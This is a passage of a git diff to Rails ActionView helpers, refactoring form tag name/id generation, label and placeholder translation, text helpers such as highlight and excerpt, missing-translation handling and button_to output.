-          " #{attrs.sort! * ' '}".html_safe unless attrs.empty?
+          " #{attrs * ' '}" unless attrs.empty?
         end
 
-        def data_tag_option(key, value, escape)
-          key   = "data-#{key.to_s.dasherize}"
+        def prefix_tag_option(prefix, key, value, escape)
+          key = "#{prefix}-#{key.to_s.dasherize}"
           unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
             value = value.to_json
           end
@@ -167,8 +176,11 @@ module ActionView
         end
 
         def tag_option(key, value, escape)
-          value = value.join(" ") if value.is_a?(Array)
-          value = ERB::Util.h(value) if escape
+          if value.is_a?(Array)
+            value = escape ? safe_join(value, " ") : value.join(" ")
+          else
+            value = escape ? ERB::Util.unwrapped_html_escape(value) : value
+          end
           %(#{key}="#{value}")
         end
     end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
index a05e16979a..a4f6eb0150 100644
--- a/actionview/lib/action_view/helpers/tags.rb
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -3,37 +3,40 @@ module ActionView
     module Tags #:nodoc:
       extend ActiveSupport::Autoload
 
-      autoload :Base
-      autoload :CheckBox
-      autoload :CollectionCheckBoxes
-      autoload :CollectionRadioButtons
-      autoload :CollectionSelect
-      autoload :ColorField
-      autoload :DateField
-      autoload :DateSelect
-      autoload :DatetimeField
-      autoload :DatetimeLocalField
-      autoload :DatetimeSelect
-      autoload :EmailField
-      autoload :FileField
-      autoload :GroupedCollectionSelect
-      autoload :HiddenField
-      autoload :Label
-      autoload :MonthField
-      autoload :NumberField
-      autoload :PasswordField
-      autoload :RadioButton
-      autoload :RangeField
-      autoload :SearchField
-      autoload :Select
-      autoload :TelField
-      autoload :TextArea
-      autoload :TextField
-      autoload :TimeField
-      autoload :TimeSelect
-      autoload :TimeZoneSelect
-      autoload :UrlField
-      autoload :WeekField
+      eager_autoload do
+        autoload :Base
+        autoload :Translator
+        autoload :CheckBox
+        autoload :CollectionCheckBoxes
+        autoload :CollectionRadioButtons
+        autoload :CollectionSelect
+        autoload :ColorField
+        autoload :DateField
+        autoload :DateSelect
+        autoload :DatetimeField
+        autoload :DatetimeLocalField
+        autoload :DatetimeSelect
+        autoload :EmailField
+        autoload :FileField
+        autoload :GroupedCollectionSelect
+        autoload :HiddenField
+        autoload :Label
+        autoload :MonthField
+        autoload :NumberField
+        autoload :PasswordField
+        autoload :RadioButton
+        autoload :RangeField
+        autoload :SearchField
+        autoload :Select
+        autoload :TelField
+        autoload :TextArea
+        autoload :TextField
+        autoload :TimeField
+        autoload :TimeSelect
+        autoload :TimeZoneSelect
+        autoload :UrlField
+        autoload :WeekField
+      end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
index 3fe3f4e9df..acc6443a96 100644
--- a/actionview/lib/action_view/helpers/tags/base.rb
+++ b/actionview/lib/action_view/helpers/tags/base.rb
@@ -14,7 +14,7 @@ module ActionView
           @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
           @object = retrieve_object(options.delete(:object))
           @options = options
-          @auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
+          @auto_index = Regexp.last_match ? retrieve_autoindex(Regexp.last_match.pre_match) : nil
         end
 
         # This is what child classes implement.
@@ -25,19 +25,26 @@ module ActionView
         private
 
         def value(object)
-          object.send @method_name if object
+          object.public_send @method_name if object
         end
 
         def value_before_type_cast(object)
           unless object.nil?
             method_before_type_cast = @method_name + "_before_type_cast"
 
-            object.respond_to?(method_before_type_cast) ?
-              object.send(method_before_type_cast) :
+            if value_came_from_user?(object) && object.respond_to?(method_before_type_cast)
+              object.public_send(method_before_type_cast)
+            else
               value(object)
+            end
           end
         end
 
+        def value_came_from_user?(object)
+          method_name = "#{@method_name}_came_from_user?"
+          !object.respond_to?(method_name) || object.public_send(method_name)
+        end
+
         def retrieve_object(object)
           if object
             object
@@ -72,35 +79,30 @@ module ActionView
         end
 
         def add_default_name_and_id(options)
-          if options.has_key?("index")
-            options["name"] ||= options.fetch("name"){ tag_name_with_index(options["index"], options["multiple"]) }
-            options["id"] = options.fetch("id"){ tag_id_with_index(options["index"]) }
-            options.delete("index")
-          elsif defined?(@auto_index)
-            options["name"] ||= options.fetch("name"){ tag_name_with_index(@auto_index, options["multiple"]) }
-            options["id"] = options.fetch("id"){ tag_id_with_index(@auto_index) }
-          else
-            options["name"] ||= options.fetch("name"){ tag_name(options["multiple"]) }
-            options["id"] = options.fetch("id"){ tag_id }
+          index = name_and_id_index(options)
+          options["name"] = options.fetch("name"){ tag_name(options["multiple"], index) }
+          options["id"] = options.fetch("id"){ tag_id(index) }
+          if namespace = options.delete("namespace")
+            options['id'] = options['id'] ? "#{namespace}_#{options['id']}" : namespace
           end
-
-          options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
-        end
-
-        def tag_name(multiple = false)
-          "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
         end
 
-        def tag_name_with_index(index, multiple = false)
-          "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
-        end
-
-        def tag_id
-          "#{sanitized_object_name}_#{sanitized_method_name}"
+        def tag_name(multiple = false, index = nil)
+          # a little duplication to construct less strings
+          if index
+            "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
+          else
+            "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
+          end
         end
 
-        def tag_id_with_index(index)
-          "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+        def tag_id(index = nil)
+          # a little duplication to construct less strings
+          if index
+            "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+          else
+            "#{sanitized_object_name}_#{sanitized_method_name}"
+          end
         end
 
         def sanitized_object_name
@@ -119,7 +121,8 @@ module ActionView
           html_options = html_options.stringify_keys
           add_default_name_and_id(html_options)
           options[:include_blank] ||= true unless options[:prompt] || select_not_required?(html_options)
-          select = content_tag("select", add_options(option_tags, options, value(object)), html_options)
+          value = options.fetch(:selected) { value(object) }
+          select = content_tag("select", add_options(option_tags, options, value), html_options)
 
           if html_options["multiple"] && options.fetch(:include_hidden, true)
             tag("input", :disabled => html_options["disabled"], :name => html_options["name"], :type => "hidden", :value => "") + select
@@ -141,6 +144,10 @@ module ActionView
           end
           option_tags
         end
+
+        def name_and_id_index(options)
+          options.key?("index") ?  options.delete("index") || "" : @auto_index
+        end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
index 52006d856b..1765fa6558 100644
--- a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -27,9 +27,11 @@ module ActionView
 
           # Append a hidden field to make sure something will be sent back to the
           # server if all check boxes are unchecked.
-          hidden = @template_object.hidden_field_tag("#{tag_name}[]", "", :id => nil)
-
-          rendered_collection + hidden
+          if @options.fetch(:include_hidden, true)
+            rendered_collection + hidden_field
+          else
+            rendered_collection
+          end
         end
 
         private
@@ -37,6 +39,11 @@ module ActionView
         def render_component(builder)
           builder.check_box + builder.label
         end
+
+        def hidden_field
+          hidden_name = @html_options[:name] || "#{tag_name(false, @options[:index])}[]"
+          @template_object.hidden_field_tag(hidden_name, "", id: nil)
+        end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
index 388dcf1f13..8050638363 100644
--- a/actionview/lib/action_view/helpers/tags/collection_helpers.rb
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -18,7 +18,8 @@ module ActionView
           end
 
           def label(label_html_options={}, &block)
-            @template_object.label(@object_name, @sanitized_attribute_name, @text, label_html_options, &block)
+            html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
+            @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
           end
         end
 
@@ -43,7 +44,7 @@ module ActionView
         def default_html_options_for_collection(item, value) #:nodoc:
           html_options = @html_options.dup
 
-          [:checked, :selected, :disabled].each do |option|
+          [:checked, :selected, :disabled, :readonly].each do |option|
             current_value = @options[option]
             next if current_value.nil?
 
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
index 25e7e05ec6..b2cee9d198 100644
--- a/actionview/lib/action_view/helpers/tags/datetime_field.rb
+++ b/actionview/lib/action_view/helpers/tags/datetime_field.rb
@@ -5,8 +5,8 @@ module ActionView
         def render
           options = @options.stringify_keys
           options["value"] ||= format_date(value(object))
-          options["min"] = format_date(options["min"])
-          options["max"] = format_date(options["max"])
+          options["min"] = format_date(datetime_value(options["min"]))
+          options["max"] = format_date(datetime_value(options["max"]))
           @options = options
           super
         end
@@ -16,6 +16,14 @@ module ActionView
           def format_date(value)
             value.try(:strftime, "%Y-%m-%dT%T.%L%z")
           end
+
+          def datetime_value(value)
+            if value.is_a? String
+              DateTime.parse(value) rescue nil
+            else
+              value
+            end
+          end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/file_field.rb b/actionview/lib/action_view/helpers/tags/file_field.rb
index 476b820d84..e6a1d9c62d 100644
--- a/actionview/lib/action_view/helpers/tags/file_field.rb
+++ b/actionview/lib/action_view/helpers/tags/file_field.rb
@@ -2,6 +2,21 @@ module ActionView
   module Helpers
     module Tags # :nodoc:
       class FileField < TextField # :nodoc:
+
+        def render
+          options = @options.stringify_keys
+
+          if options.fetch("include_hidden", true)
+            add_default_name_and_id(options)
+            options[:type] = "file"
+            tag("input", name: options["name"], type: "hidden", value: "") + tag("input", options)
+          else
+            options.delete("include_hidden")
+            @options = options
+
+            super
+          end
+        end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/label.rb b/actionview/lib/action_view/helpers/tags/label.rb
index 35d3ba8434..b31d5fda66 100644
--- a/actionview/lib/action_view/helpers/tags/label.rb
+++ b/actionview/lib/action_view/helpers/tags/label.rb
@@ -2,6 +2,29 @@ module ActionView
   module Helpers
     module Tags # :nodoc:
       class Label < Base # :nodoc:
+        class LabelBuilder # :nodoc:
+          attr_reader :object
+
+          def initialize(template_object, object_name, method_name, object, tag_value)
+            @template_object = template_object
+            @object_name = object_name
+            @method_name = method_name
+            @object = object
+            @tag_value = tag_value
+          end
+
+          def translation
+            method_and_value = @tag_value.present? ? "#{@method_name}.#{@tag_value}" : @method_name
+
+            content ||= Translator
+              .new(object, @object_name, method_and_value, scope: "helpers.label")
+              .translate
+            content ||= @method_name.humanize
+
+            content
+          end
+        end
+
         def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
           options ||= {}
 
@@ -32,33 +55,24 @@ module ActionView
           options.delete("namespace")
           options["for"] = name_and_id["id"] unless options.key?("for")
 
-          if block_given?
-            content = @template_object.capture(&block)
-          else
-            content = if @content.blank?
-                        @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
-                        method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
-
-                        if object.respond_to?(:to_model)
-                          key = object.class.model_name.i18n_key
-                          i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
-                        end
-
-                        i18n_default ||= ""
-                        I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
-                      else
-                        @content.to_s
-                      end
+          builder = LabelBuilder.new(@template_object, @object_name, @method_name, @object, tag_value)
 
-            content ||= if object && object.class.respond_to?(:human_attribute_name)
-                          object.class.human_attribute_name(@method_name)
-                        end
-
-            content ||= @method_name.humanize
+          content = if block_given?
+            @template_object.capture(builder, &block)
+          elsif @content.present?
+            @content.to_s
+          else
+            render_component(builder)
           end
 
           label_tag(name_and_id["id"], content, options)
         end
+
+        private
+
+          def render_component(builder)
+            builder.translation
+          end
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/tags/placeholderable.rb b/actionview/lib/action_view/helpers/tags/placeholderable.rb
new file mode 100644
index 0000000000..cf7b117614
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/placeholderable.rb
@@ -0,0 +1,22 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module Placeholderable # :nodoc:
+        def initialize(*)
+          super
+
+          if tag_value = @options[:placeholder]
+            placeholder = tag_value if tag_value.is_a?(String)
+            method_and_value = tag_value.is_a?(TrueClass) ? @method_name : "#{@method_name}.#{tag_value}"
+
+            placeholder ||= Tags::Translator
+              .new(object, @object_name, method_and_value, scope: "helpers.placeholder")
+              .translate
+            placeholder ||= @method_name.humanize
+            @options[:placeholder] = placeholder
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/search_field.rb b/actionview/lib/action_view/helpers/tags/search_field.rb
index c09e2f1be7..a848aeabfa 100644
--- a/actionview/lib/action_view/helpers/tags/search_field.rb
+++ b/actionview/lib/action_view/helpers/tags/search_field.rb
@@ -16,6 +16,7 @@ module ActionView
             options["incremental"] = true unless options.has_key?("incremental")
           end
 
+          @options = options
           super
         end
       end
diff --git a/actionview/lib/action_view/helpers/tags/select.rb b/actionview/lib/action_view/helpers/tags/select.rb
index d64e2f68ef..180900cc8d 100644
--- a/actionview/lib/action_view/helpers/tags/select.rb
+++ b/actionview/lib/action_view/helpers/tags/select.rb
@@ -3,8 +3,9 @@ module ActionView
     module Tags # :nodoc:
       class Select < Base # :nodoc:
         def initialize(object_name, method_name, template_object, choices, options, html_options)
-          @choices = choices
+          @choices = block_given? ? template_object.capture { yield || "" } : choices
           @choices = @choices.to_a if @choices.is_a?(Range)
+
           @html_options = html_options
 
           super(object_name, method_name, template_object, options)
diff --git a/actionview/lib/action_view/helpers/tags/text_area.rb b/actionview/lib/action_view/helpers/tags/text_area.rb
index 9ee83ee7c2..69038c1498 100644
--- a/actionview/lib/action_view/helpers/tags/text_area.rb
+++ b/actionview/lib/action_view/helpers/tags/text_area.rb
@@ -1,7 +1,11 @@
+require 'action_view/helpers/tags/placeholderable'
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class TextArea < Base # :nodoc:
+        include Placeholderable
+
         def render
           options = @options.stringify_keys
           add_default_name_and_id(options)
diff --git a/actionview/lib/action_view/helpers/tags/text_field.rb b/actionview/lib/action_view/helpers/tags/text_field.rb
index e910879ebf..5c576a20ca 100644
--- a/actionview/lib/action_view/helpers/tags/text_field.rb
+++ b/actionview/lib/action_view/helpers/tags/text_field.rb
@@ -1,13 +1,16 @@
+require 'action_view/helpers/tags/placeholderable'
+
 module ActionView
   module Helpers
     module Tags # :nodoc:
       class TextField < Base # :nodoc:
+        include Placeholderable
+
         def render
           options = @options.stringify_keys
           options["size"] = options["maxlength"] unless options.key?("size")
           options["type"] ||= field_type
           options["value"] = options.fetch("value") { value_before_type_cast(object) } unless field_type == "file"
-          options["value"] &&= ERB::Util.html_escape(options["value"])
           add_default_name_and_id(options)
           tag("input", options)
         end
diff --git a/actionview/lib/action_view/helpers/tags/translator.rb b/actionview/lib/action_view/helpers/tags/translator.rb
new file mode 100644
index 0000000000..8b6655481d
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/translator.rb
@@ -0,0 +1,40 @@
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Translator # :nodoc:
+        def initialize(object, object_name, method_and_value, scope:)
+          @object_name = object_name.gsub(/\[(.*)_attributes\]\[\d+\]/, '.\1')
+          @method_and_value = method_and_value
+          @scope = scope
+          @model = object.respond_to?(:to_model) ? object.to_model : nil
+        end
+
+        def translate
+          translated_attribute = I18n.t("#{object_name}.#{method_and_value}", default: i18n_default, scope: scope).presence
+          translated_attribute || human_attribute_name
+        end
+
+        protected
+
+        attr_reader :object_name, :method_and_value, :scope, :model
+
+        private
+
+        def i18n_default
+          if model
+            key = model.model_name.i18n_key
+            ["#{key}.#{method_and_value}".to_sym, ""]
+          else
+            ""
+          end
+        end
+
+        def human_attribute_name
+          if model && model.class.respond_to?(:human_attribute_name)
+            model.class.human_attribute_name(method_and_value)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/text_helper.rb b/actionview/lib/action_view/helpers/text_helper.rb
index 3fc64fa8a5..2c40ed1832 100644
--- a/actionview/lib/action_view/helpers/text_helper.rb
+++ b/actionview/lib/action_view/helpers/text_helper.rb
@@ -31,6 +31,8 @@ module ActionView
 
       include SanitizeHelper
       include TagHelper
+      include OutputSafetyHelper
+
       # The preferred method of outputting text in your views is to use the
       # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
       # do not operate as expected in an eRuby code block. If you absolutely must
@@ -80,6 +82,9 @@ module ActionView
       #   # => "And they f... (continued)"
       #
       #   truncate("<p>Once upon a time in a world far far away</p>")
+      #   # => "&lt;p&gt;Once upon a time in a wo..."
+      #
+      #   truncate("<p>Once upon a time in a world far far away</p>", escape: false)
       #   # => "<p>Once upon a time in a wo..."
       #
       #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
@@ -98,11 +103,14 @@ module ActionView
       # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
       # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
       # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
-      # '<mark>\1</mark>')
+      # '<mark>\1</mark>') or passing a block that receives each matched term.
       #
       #   highlight('You searched for: rails', 'rails')
       #   # => You searched for: <mark>rails</mark>
       #
+      #   highlight('You searched for: rails', /for|rails/)
+      #   # => You searched <mark>for</mark>: <mark>rails</mark>
+      #
       #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
       #   # => You searched for: ruby, rails, dhh
       #
@@ -111,15 +119,25 @@ module ActionView
       #
       #   highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
       #   # => You searched for: <a href="search?q=rails">rails</a>
+      #
+      #   highlight('You searched for: rails', 'rails') { |match| link_to(search_path(q: match, match)) }
+      #   # => You searched for: <a href="search?q=rails">rails</a>
       def highlight(text, phrases, options = {})
         text = sanitize(text) if options.fetch(:sanitize, true)
 
         if text.blank? || phrases.blank?
-          text
+          text || ""
         else
-          highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
-          match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
-          text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+          match = Array(phrases).map do |p|
+            Regexp === p ? p.to_s : Regexp.escape(p)
+          end.join('|')
+
+          if block_given?
+            text.gsub(/(#{match})(?![^<]*?>)/i) { |found| yield found }
+          else
+            highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
+            text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
+          end
         end.html_safe
       end
 
@@ -150,9 +168,13 @@ module ActionView
       def excerpt(text, phrase, options = {})
         return unless text && phrase
 
-        separator = options.fetch(:separator, "")
-        phrase    = Regexp.escape(phrase)
-        regex     = /#{phrase}/i
+        separator = options.fetch(:separator, nil) || ""
+        case phrase
+        when Regexp
+          regex = phrase
+        else
+          regex = /#{Regexp.escape(phrase)}/i
+        end
 
         return unless matches = text.match(regex)
         phrase = matches[0]
@@ -166,12 +188,13 @@ module ActionView
           end
         end
 
-        first_part, second_part = text.split(regex, 2)
+        first_part, second_part = text.split(phrase, 2)
 
         prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
         postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
 
-        prefix + (first_part + separator + phrase + separator + second_part).strip + postfix
+        affix = [first_part, separator, phrase, separator, second_part].join.strip
+        [prefix, affix, postfix].join
       end
 
       # Attempts to pluralize the +singular+ word unless +count+ is 1. If
@@ -267,7 +290,7 @@ module ActionView
           content_tag(wrapper_tag, nil, html_options)
         else
           paragraphs.map! { |paragraph|
-            content_tag(wrapper_tag, paragraph, html_options, options[:sanitize])
+            content_tag(wrapper_tag, raw(paragraph), html_options)
           }.join("\n\n").html_safe
         end
       end
@@ -286,7 +309,7 @@ module ActionView
       #   <table>
       #   <% @items.each do |item| %>
       #     <tr class="<%= cycle("odd", "even") -%>">
-      #       <td>item</td>
+      #       <td><%= item %></td>
       #     </tr>
       #   <% end %>
       #   </table>
@@ -313,7 +336,7 @@ module ActionView
         options = values.extract_options!
         name = options.fetch(:name, 'default')
 
-        values.unshift(first_value)
+        values.unshift(*first_value)
 
         cycle = get_cycle(name)
         unless cycle && cycle.values == values
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
index ad8eb47f1f..342361217c 100644
--- a/actionview/lib/action_view/helpers/translation_helper.rb
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -1,24 +1,16 @@
 require 'action_view/helpers/tag_helper'
+require 'active_support/core_ext/string/access'
 require 'i18n/exceptions'
 
-module I18n
-  class ExceptionHandler
-    include Module.new {
-      def call(exception, locale, key, options)
-        exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super
-      end
-    }
-  end
-end
-
 module ActionView
   # = Action View Translation Helpers
   module Helpers
     module TranslationHelper
+      include TagHelper
       # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
       #
-      # First, it'll pass the <tt>rescue_format: :html</tt> option to I18n so that any
-      # thrown +MissingTranslation+ messages will be turned into inline spans that
+      # First, it will ensure that any thrown +MissingTranslation+ messages will be turned
+      # into inline spans that:
       #
       #   * have a "translation-missing" class set,
       #   * contain the missing key as a title attribute and
@@ -44,8 +36,21 @@ module ActionView
       # naming convention helps to identify translations that include HTML tags so that
       # you know what kind of output to expect when you call translate in a template.
       def translate(key, options = {})
-        options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
-        options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+        options = options.dup
+        remaining_defaults = Array(options.delete(:default))
+        options[:default] = remaining_defaults.shift if remaining_defaults.first.kind_of? String
+
+        # If the user has explicitly decided to NOT raise errors, pass that option to I18n.
+        # Otherwise, tell I18n to raise an exception, which we rescue further in this method.
+        # Note: `raise_error` refers to us re-raising the error in this method. I18n is forced to raise by default.
+        if options[:raise] == false || (options.key?(:rescue_format) && options[:rescue_format].nil?)
+          raise_error = false
+          options[:raise] = false
+        else
+          raise_error = options[:raise] || options[:rescue_format] || ActionView::Base.raise_on_missing_translations
+          options[:raise] = true
+        end
+
         if html_safe_translation_key?(key)
           html_safe_options = options.dup
           options.except(*I18n::RESERVED_KEYS).each do |name, value|
@@ -59,6 +64,15 @@ module ActionView
         else
           I18n.translate(scope_key_by_partial(key), options)
         end
+      rescue I18n::MissingTranslationData => e
+        if remaining_defaults.present?
+          translate remaining_defaults.shift, options.merge(default: remaining_defaults)
+        else
+          raise e if raise_error
+
+          keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
+          content_tag('span', keys.last.to_s.titleize, :class => 'translation_missing', :title => "translation missing: #{keys.join('.')}")
+        end
       end
       alias :t :translate
 
@@ -87,21 +101,6 @@ module ActionView
         def html_safe_translation_key?(key)
           key.to_s =~ /(\b|_|\.)html$/
         end
-
-        def wrap_translate_defaults(defaults)
-          new_defaults = []
-          defaults     = Array(defaults)
-          while key = defaults.shift
-            if key.is_a?(Symbol)
-              new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
-              break
-            else
-              new_defaults << key
-            end
-          end
-
-          new_defaults
-        end
     end
   end
 end
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
index 1920a94567..33882063f9 100644
--- a/actionview/lib/action_view/helpers/url_helper.rb
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -46,9 +46,9 @@ module ActionView
       end
       protected :_back_url
 
-      # Creates a link tag of the given +name+ using a URL created by the set of +options+.
+      # Creates an anchor element of the given +name+ using a URL created by the set of +options+.
       # See the valid options in the documentation for +url_for+. It's also possible to
-      # pass a String instead of an options hash, which generates a link tag that uses the
+      # pass a String instead of an options hash, which generates an anchor element that uses the
       # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
       # of an options hash will generate a link to the referrer (a JavaScript back link
       # will be used in place of a referrer if none exists). If +nil+ is passed as the name
@@ -82,7 +82,7 @@ module ActionView
       #   to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
       #   disabled clicking the link will have no effect. If you are relying on the
       #   POST behavior, you should check for it in your controller's action by using
-      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
+      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
       # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
       #   driver to make an Ajax request to the URL in question instead of following
       #   the link. The drivers each provide mechanisms for listening for the
@@ -92,8 +92,9 @@ module ActionView
       # ==== Data attributes
       #
       # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
-      #   driver to prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
+      #   driver to prompt with the question specified (in this case, the
+      #   resulting text would be <tt>question?</tt>. If the user accepts, the
+      #   link is processed normally, otherwise no action is taken.
       # * <tt>:disable_with</tt> - Value of this parameter will be
       #   used as the value for a disabled version of the submit
       #   button when the form is submitted. This feature is provided
@@ -213,6 +214,7 @@ module ActionView
       # * <tt>:form</tt> - This hash will be form attributes
       # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
       #   be placed
+      # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
       #
       # ==== Data attributes
       #
@@ -227,54 +229,51 @@ module ActionView
       # ==== Examples
       #   <%= button_to "New", action: "new" %>
       #   # => "<form method="post" action="/controller/new" class="button_to">
-      #   #      <div><input value="New" type="submit" /></div>
+      #   #      <input value="New" type="submit" />
+      #   #    </form>"
+      #
+      #   <%= button_to "New", new_articles_path %>
+      #   # => "<form method="post" action="/articles/new" class="button_to">
+      #   #      <input value="New" type="submit" />
       #   #    </form>"
       #
       #   <%= button_to [:make_happy, @user] do %>
       #     Make happy <strong><%= @user.name %></strong>
       #   <% end %>
       #   # => "<form method="post" action="/users/1/make_happy" class="button_to">
-      #   #      <div>
-      #   #        <button type="submit">
-      #   #          Make happy <strong><%= @user.name %></strong>
-      #   #        </button>
-      #   #      </div>
+      #   #      <button type="submit">
+      #   #        Make happy <strong><%= @user.name %></strong>
+      #   #      </button>
       #   #    </form>"
       #
       #   <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
       #   # => "<form method="post" action="/controller/new" class="new-thing">
-      #   #      <div><input value="New" type="submit" /></div>
+      #   #      <input value="New" type="submit" />
       #   #    </form>"
       #
       #
       #   <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
       #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
-      #   #      <div>
-      #   #        <input value="Create" type="submit" />
-      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #      </div>
+      #   #      <input value="Create" type="submit" />
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
       #   #    </form>"
       #
       #
       #   <%= button_to "Delete Image", { action: "delete", id: @image.id },
       #                                   method: :delete, data: { confirm: "Are you sure?" } %>
       #   # => "<form method="post" action="/images/delete/1" class="button_to">
-      #   #      <div>
-      #   #        <input type="hidden" name="_method" value="delete" />
-      #   #        <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
-      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #      </div>
+      #   #      <input type="hidden" name="_method" value="delete" />
+      #   #      <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
       #   #    </form>"
       #
       #
       #   <%= button_to('Destroy', 'http://www.example.com',
       #             method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
       #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
-      #   #       <div>
-      #   #         <input name='_method' value='delete' type='hidden' />
-      #   #         <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
-      #   #         <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #       </div>
+      #   #       <input name='_method' value='delete' type='hidden' />
+      #   #       <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+      #   #       <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
       #   #     </form>"
       #   #
       def button_to(name = nil, options = nil, html_options = nil, &block)
@@ -287,6 +286,7 @@ module ActionView
 
         url    = options.is_a?(String) ? options : url_for(options)
         remote = html_options.delete('remote')
+        params = html_options.delete('params')
 
         method     = html_options.delete('method').to_s
         method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : ''.html_safe
@@ -310,7 +310,12 @@ module ActionView
         end
 
         inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
-        content_tag('form', content_tag('div', inner_tags), form_options)
+        if params
+          params.each do |param_name, value|
+            inner_tags.safe_concat tag(:input, type: "hidden", name: param_name, value: value.to_param)
+          end
+        end
+        content_tag('form', inner_tags, form_options)
       end
 
       # Creates a link tag of the given +name+ using a URL created by the set of
@@ -376,15 +381,7 @@ module ActionView
       #   # If not...
